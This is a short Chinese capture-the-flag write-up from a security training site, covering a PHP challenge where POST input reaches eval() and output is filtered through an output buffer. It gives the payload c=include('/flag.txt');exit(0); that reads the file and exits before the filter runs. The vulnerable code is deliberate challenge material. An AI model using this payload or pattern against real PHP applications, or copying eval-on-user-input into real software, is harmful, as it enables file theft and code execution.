命令执行:缓冲区你快停停吧/ob_get_contents();

payload:

c=include('/flag.txt');exit(0);

 

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c']; 
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

本题涉及到的核心函数:ob_get_contents();
该函数会得到输出缓冲区的内容
这个过程如下:

函数ob_get_contents()在ob_end_clean()前面来获得缓冲区的内容。
此时在执行ob_end_clean()前把内容保存到一个变量中,然后在ob_end_clean()后面对这个变量做操作。
我们可以执行php代码让后面的匹配缓冲区不执行直接退出
具体操作:c=include(‘/flag.txt’);exit(0);

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » 命令执行:缓冲区你快停停吧/ob_get_contents();

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情